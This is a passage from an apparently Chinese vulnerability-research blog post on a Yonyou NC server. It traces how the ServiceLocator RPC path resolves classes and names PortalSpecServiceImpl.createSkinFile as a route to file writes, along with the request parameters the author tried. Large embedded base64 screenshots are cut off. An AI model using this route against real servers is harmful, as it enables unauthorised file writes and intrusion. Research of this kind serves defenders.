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 truncated
|
||||
<p>然后ServiceLocator这样调用service1、2</p>
|
||||
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105142-4a67e3d4-df52-1.png><img src=data:image/png;base64,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 truncated
|
||||
<p>也就是说通过ServiceLocator.getService(className)去获取实例,className要先被加入到ServiceCache才能通过getService获取到。<br>
|
||||
上面用的bsh.Interpreter这个类是获取不到的,描述里的这个类PortalSpecServiceImpl应该能获取到的,并且有createSkinFile方法可以写文件<br>
|
||||
一共6个参数,分别拼接到filePath里</p>
|
||||
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105218-5fcdb69a-df52-1.png title><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA0gAAADQCAYAAAA9OkFoAADxCklEQVR4nOz9ZXxcV5rvi383FLOkEpNl2ZKZmTF2OOmk0zzdA91DZ86dM3Pu3Dsz93/gMz3Q0wOdZkhTsMMOO04MATMzymKuUjHvvf4vdqks2TIknUy6z+j3Jk5pw7Of9ay1Hl7StGnTBOMYxzjGMY5xjGMc4xjHOP5ToLGxkYsXL37SZPzGQv6kCRjHOMYxjnGMYxzjGMc4xjGO3xSMG0jjGMc4xjGOcYxjHOMYxzjGkce4gTSOcYxjHOMYxzjGMY5xjGMceYwbSOMYxzjGMY5xjGMc4xjHOMaRxyduIGm/AS0i9N8AGn6ToQvQPkIm6br4SHkuhPEwi82GJEkf3YPHeI/Q9Y/t+R8nhBAFPo3jo4EQAv23Vh70cXn4TwZdHx/zjxqC39414D8TjP3vkx2n3wQaflvxSekv6q/7AEkCv1VnMCWPUnplCcrthjBkdQim5GuMoWKrYE1lmh1dFgLpj0+xvRFK8jRsvw4NsgQukyCrQyL3ydA4FqxmGZMiEU1qt3S9IksUuVTcdgUhIBDJEk5omFXj96FYjnT2WgEUAhY3OWkst7Jl/xDx1I3fpyoSNSXmUb8l0jp9oSwAFlXm9vleQvEcbx+PoCoSRU4Fl00FBEMxjVA8d2tMAGRZpnpCIys23E17y3n27HiDXDaDxWrD6fYgSTKpZIJYJHSFRpMJRVHJpFO3POmEENQ3NlPkL+PUkf1k0qlbpvGThqIoNE2fi67rnDl+8NcyIiVJwu5wkkzERykGvmI/sqKAAE3LEY9FyWbSN32eajKjKArpVAowxkJVTdgcThKxCJp2a/J9M1hsdpwutyEPibghD3k+mExmZEUhnUre8vOEEDRMnorbV8Lpo/tv6Vt/U6AoKlNmzSebyXD2+EEk+cP7ySRJwmZ3kkpekQdJkijyl5NKxInHwtidbiwWK0OBgVt+rhCCIn8Z0dAQuVx2zGtUkxmn24OiKOi6TiwcIpvN3PTZJrMZp9tLPBohk07h9haRSadIJRO3TN/HCVlRcDjdWKw2hBDEIqFRsmlzOMmm09fly1hwuDw0z5hLR8t5+nu7Pg6yAWPsrXYH6WTiN85wUBQFl7cIk8lENpslGh5Cyxl7jawomM0WMuk0un7ra06Jv4LmWfM5fuA9ouHQx0Q5mMwWZFkeJQcmsxmb3Uk0PPTxKo+ShN3uxOZwFH7K5XJEQ8FRYzw89hISiXj0Q75KwmpzYHe6kCRIxuPEY5HC381mC9JVfLgVTJ46C5PFyvlTR8ndwhrxYaGoKm5PEbIik0mnicci6JqGJElMmjoTk9mSpyGLy+PFbLECkEzEScZjNx1HWZaxO91IklTQadzeImLRCNoHWA8+TlhtdhwuD5IkkU4liUfDBTmRZRmL1UYqlbxlZ7MkSUyePgezxcqJA+//WvvVzaCoKg6nG5PJ0GGvayAJ4FbUKJsi8Wcz43zjiItw5so9dlXwh1MTmBVBNCvz/VN2gqkrTxQCqhwayytTXIyoBNKjSbnV9/86GKZhRWWSCxGVwbQ66p0CsKmC2+sytMdk3u8x3fyZ+f+ORfv1/vZB79F1waLJLiZVWPjh1j5kWbqG7pH3SMCEcgv/5c5yakrMmFWZQxfjfPOFbko9Jv70jnJ+sLWPc53XLjpCwPKpbppqrOw+Gy0YSMPjc/W7il0mHvm/GglEcoWo05GLcf7h2S7D2LQrLJvmJpXR2XY0jMOucP/SYtbN8lDkUnli+wA/fXuAq3X46/HIV1LKytvuJdjfy+mjB9ByWWRZZsmaTTROmQlAOBTkjeceIxoeAiGorptIaWUNR/bsuiWFyuCDoKF5Bv6ySlovnPkPMJA+uhlgslionzwVk9nC6aP7kRTlQ9NgMlvYeO/nePvVZwkHB5EkCSEED3z5T0GCTDoNQnD+1FH2v7MNTbu+sSuEoLZhEiWlFRzavbNwbUlZBUvWbGbHa88RCg5cQ8MHhWoysWzt7UxomoYkSYSDAV579hfEo5E8DZMpKi3j0Ps7r6McXcsHoes0NM3AV+Kn9cJpwh+7gfTRyYPZYqGhaRpIMqeP7Ue55USCa2lQTWbW3fUgO19/gUgoiCRJmM0Wvvxnf82pI/vY9uKTLFm9iQlN03jkX//XLStyWi7Hp3/3v7Dl8R/T09l2jVEvhKDYX8byDXfhdHuwWG28+vQv6Gy9eEMHgBCCytoG7vz0l3ln6xaOH9zNxns/y/nTxzi+/71b5MPHB0mSqKiuZ/n6O3C43JjMFs6dOML7b79CNpNBCMGq2+7hxME9dLW33PJzHU4XM+YvIRGPMtDX/bEp1KrJzOpN9/LutleIhoc+1oj+B4EQgsYps1iydhOKoqJpOfbu2MqZ4weQJBmvr5jmmfM5fXQ/oeDg9Z4CV+20ZZU1TJ29gPaWc0RCH8/3CiFobJ6B0+1h3643DUcUgoqqOhas2MCLT/worxx/PLyWZZkps+Yxa+FynG4vsWiYQF8PW194YpRTQZYVZi1YhqKovP/2qx/qXQ6nm+Ub7qKqrgFJlgkFBnj9uUfza7VO49RZOJyuEXy4NUycMgPVZKb90jliH6OBNHXWAhau2oiWy9Jx+SJ7d24lHg0bNDTPRFFV2i+dJ5YNs2D5euoamzBbbZw5up/db79+U6eH1e5g1W334PIW8eJjPySbzbD5gS/x9stPM/AxOj5uFWaLlSVrNtM4dSa5XI54NMJ7216iu/0yCIHd6WLRqo3s2fEGiWiEaxS9MaCoKvWNzXiL/Rzb/x63PuofbM+UJInq+kaWrb8Di8WKruujDSSfRWBTBbIEZTaNrrhCT0JGAiZ6NAaSMpGMhMMk8JkFfUkZWYIiS45yu06jx7inLyGT1iSeuWRlgjvHjOIc8ghiVQnKnRqqLHin28LlyBUyBOA0QZM3ixDQFlUJpKUbfmalQ0eWoCNm0OoxC0ptOufDxtZfZBVUO3NkNIlzIRVdgCpDhV1DkQU7u61cjlwxjgRGZKnRnSWtyzhNAqty8w3FYVWYVW/HapY515mkK2hMRK9DpcJnwmaR8blUzrQn6QpkkCQjEjSl2obfY6K9P82ZrqRheAgodqlMr7OjKBLnO5N0BjL4nCqTKiysmuaiqcbGsdY4mg4n2xJkcgKnVWHmBDsmVeJMe5L+cBZVkVg82YXTrvJvL/ZgMSv86+/V8drBIYaiOdx2BVU2vt5ikmiusnG5L40kQWOFlYvdSToH0/QOXZm8cxscBGM5avwWMlmdk20J4mkdWZLI6YLHtg8wGMmBBEOxHJIEPqfK5EoLxy7FaOlNI8sSqYzO9mNhTrQm+OM7yrBZRitrQoDfrTKj3kFOF5ztTNIfyiJJRspI45SZ6JrGO1u3EIuGAAmHy82UWfPZs2MrQ4N9rL79fppnzuPw7h2UVdUyccoMyqvrGRrsJ51OMdjXTTqVpNhfTiadoqyqllQiTld7C7lsFpvdQUlZJf09HQQHekd5CqvrG0nEonhL/OQyGXo62wrRBIfLTWXNBOKxSMETfCMvo9lixeMrRggdf3kVkVCQ7vbLCCGw2h0UlZSSTCTwl1cyNNDHYH8vQujoukZ5dT1ur49oaIjB/h60XA6L1UZ5dS0g0dPZSmQoiJQfZ0mS8Bb58ZdXkk6n6Lx8oRCtMZnNlFfX4XJ7Gezvob+7E1mW8VdU4/EWMWX2fFrOnyIUHCA40E80PITbW8ThPTtovXiWiup6Zi1czsXTxxjo68ZqtVNeU4fJZKa3q51IKIjJbKa0opqJzTMorahmcKCXbCZDoK8bWVGw2uwU+cuorJ3AUGCQ3s7WD63Uub1FTJ4+mz3bXyc8FGDdXQ/RPHMex/a/Z9AwZQYl5VUE+nvJZrME+rrJpFMUl1aQSiaoqK4nEY/Q3d5KLpfFZnfiL6+kr6ed/t5O4tErHs7qCY0kYzG8xSVk0ml6OtvyHksJp9tDRXUdsWgICZloeIjoiMjm1bBYbbi9Rei6TmlFFeFggJ48H2x2hxGlScYpLq0g0N9DcKDfSJ3Tdcpr6nF7vISHggT6e9A0DavdQVllDUjQ2XaJocAAct4bJ0kSvpJSSsoqSCeTdLZeHCEPFipr6nE43Qz0dTPQ24Usy5RW1uDyeGmeOY+2S2cJDwUY7OtF1zTsTjclpZXUTmyiyF+Gze5k2KViszsor6pFkiR6OttJxqMgSSiKgr+8CreviPZL57E7nAVZ8PiKCfT3omk5XB4fZouF8FCAA+9uQ5Jk7vn8H6BcpTAJIaioqcftLSIUHGCwz5gXJpMJb7GfqrqJnD91FJvNUfAYSpKEr9jgQzabobP1ItlMBrfXh83hxOMtpqerDX9ZFUOD/QwN9gHgcHupqKlDy+Xo7WwnmYh9KFlVTWYmTZ1FJp1m765nsFrtrLvr05w7cYhEPIbHV0zTrHnEYxFUs4lELEpgoA+L1Uaxv5xUMkFRSSmDfT0MBQYQukZpZQ1ubxEnD++lv6ezMI9sdgfeYj8ATreHvq4OwkMBpOGxqKjG7S2iu60FT1ExA71dhgNkDMiyQnl1LQ6ni+aZ8+lovUQ0PMRAbzcgKCmroLv9MrlsFrPFir+8it6uNswWK96iEhACp8dHX1d7gQZJkiguLae4tJxkIkHXCJn8oNB1nSXrNtPdfpnTR/Yxdc4iZi5cxolDe6iqa6CmYRKTp88mmYgRHOwnMhRgKDCA21uE2WzB4fZgszvobL1INBzCZLbgL68kp+U4eWgvwf6+gnHkK/ajqCYsVhs2h4PezvaCt1+WZWomTEI1mYiGQwgh6O/pvK5hZbFYKS6rZOLUmbg9Pnq62hBCEOjrQVFVrHY7JLine truncated
|
||||
<p>直接构造</p>
|
||||
<pre><code>rpcname为nc.uap.portal.service.impl.PortalSpecServiceImpl
|
||||
method为createSkinFile
|
||||
params为String1、2、3等</code></pre>
|
||||
<p>再次直接打,服务器还是返回500,正常来说,应该没啥问题的,有点难受。</p>
|
||||
<h2 id=toc-3>0x03</h2>
|
||||
<p>下面两个思路</p>
|
||||
<pre><code>找ServiceCache里有哪些类,然后找有可以执行命令或者写文件public方法的类。
|
||||
继续看下为什么PortalSpecServiceImpl调不了</code></pre>
|
||||
<p>下面继续看了,跟着上面的NCLocator.getInstance().lookup(name)</p>
|
||||
<pre><code>doGetService
|
||||
-->ServerNCLocator#lookup
|
||||
-->BusinessAppServer#lookup
|
||||
-->AbstractContext#lookup</code></pre>
|
||||
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311105320-8524904e-df52-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA0gAAAGeCAYAAACuHyHAAAEAAElEQVR4nOz9d5QkV36YiX43THpXleW966421d47NLyfwfgZDo1IWUrct5J25d7u6p19R7uS9j2u3pFEGVKiRHKGHM4MyTGwA++6G4323pX3vtLbiLjvj8jKququNsAAA2AQH06jMjMiro+I+7s/c0Xlvm9LHBwcHBwcHBwcHBwcHNAAfF43QgiQIKWkYBgYhvlJl+2OKELg93kQQpBMZwn4vRiGSS6fR96jyCcAj8eNrqkkUpkPVQ5d0wgFfMzFEh/q+ntFCEFFKICiKKQyWTRVtT+nM3i9bgDSmdyHStvjdqFrKplsHtOyPspif6SoioLf56FQKJIrFD/p4gCg6xoBn5dMNkf+YyqT26Wjaar9RYIlJflCEavUV4qi4HG7KBSKGObq963bpeN1uzEtk2yucNvzwB4PLl0jmc4il91MmqricmlksvmPrnI3oSgCj8tlP4/AvkklFA0TicTrdpHJ5u9YfgcHBwcHBweHnwdNUQRPHt6DrmlYUmKaJpMz81wfHGV2IY5lfToVTB63i8O7t+D3evirl9/h6fv3MjY1w9Ezl+9ZuFNUhZ09a2mur+G7P3kFRVE+UBmklDTXVfHtLz7M//Efv/thqnHPVIaD/J1vPU0yneH1987SVFdNZTjAT187yv27NiMR/OzdE5jmBxNwpISeNW20NtbyxvFzzH8AQS8c9BMK+BiZmPmg1flQhIN+njq8m0u9Q5y6dGNpEv0J0lRbxeOHdvHOyQtcvDH4kadvScn+bRuoq46WhZVYMsX7564yH0/i87hZ09bE2vYmTpy/ysDo5C3tEvT7OLx7Ey31tWRyOc5e6eNy7xCFonFLfi5dZ//WDVSEg/z0jWMUl53TXF/N9o1r+IuX3v7Y2t4u6xZ8Hnf5NyEEvcNjjE3N8tDebbx39gp9w+NY97oS4uDg4ODg4ODwAVCEEGxZ30XQ78M0TXxeD4f3bOELD+6jMhQsnyiEIODz4vd6UG6aHClCEA76Cfi8KyZOUko8bheRoB+3Sy9P8FRFwe3ScekaQb8Pl64D9ip3JORHL62WK0LgdumoioLP4yYU8JXTNkyTkfFpBkYmKBombpeOrmks5i6wJ1t+r+eWyZyuaVSEArhdLjRNtct2D42l6xrhoB+P28Vikqqi4F02mVOEwO/1EAr4UNWVApeuLV2/HFVVqAgF8Hs9q+eraWxc00ZlRYjXj51hfGqW0Ylp+kYmyBcNdN1uy0WEAL/XQ8DnRb2r0CdRVbsNNFUh6Pfh87iRUiJK7b/YH4tl8ZT6ZNuGLr7+xGE8blc5H1VVCPq9+L3uWzR5uqYSDvjxul239InX7SIc8OHStRV9IaUk4PMQDvpRVcXuM1UtHbPHTDjgt69bpRN1TcXj0sv5CSiPFbD7L+D3rmj7xXNcuobf68HtssenIgShgI9wwFdOL5nOcrlviPl4sny9S7fHl92O9m9KacxrmkrQ7yPg86zQztxuri+lZMu6TsJBP0XDwDBNTNPWpvg8bh7ev4MvPriPreu7qKoIr5rGI/u3s3frBgbHpygaFg/u20Z7U/2K/BepCAfoWdvOjcFRCjdpxKqjYXZt6i5/VxWFoM9L0O8rLy5oqnqLcGOPLbV0XCESDBD0e29bX8M0MUyTommiqQobulppqKlifGqOXL7I5u4O3DfdQw4ODg4ODg4OHxUaErK5PG+fOMelG0O4XTrrOpr50iMH2LCmlbdPXEDXNPZt20BbUx2mYXJtYIRLNwbJ5guEg372bV1PQ00VBcPg+uAo5670USgarGltZPO6DiLBAMlMhpMXrtM3PEFlJMS2DV24dI1oJEwskeTawAibuzsI+H2MTExz7MwlFEVlU3c7bl2nujKM1+NmaHyKd05eQEqwpIVhWRimuWJSrWkq9+3cRHN9DUXD4GrfCJd6B8nli9RVV7B70zpqqyqIJdNomnJX4UgRgtqqCnZu6qaqIkwmm+PslV6uD44BlK/3etxs6GplXUczLl1nfHqOd05eIJ3JURuNsG/bRiojQZLpDKcv3WBobIpw0M/ereupr4mSyxW41DfEhav9ZVM3KWFdZzM7etZimZJ1nS3EU2ksKZGWxLpJYySAXZvXsba1CaEI+ofHOXe1n1Qme4caSrweNwe2byQY8GMYBueu9nFjcJztG9eQyxc4fekGEti6vhNdU5lZiLOzp5toRYhHDuzg+Lkr5AtFtm3ooqWhFss0udI3zMmL11EUherKMLs2r6OmMkI2l+f81T6uD45RKBbZsq6TjWva8HrczMzHOH3pBhPTcyAEW7o72LyuA03TmI8lyq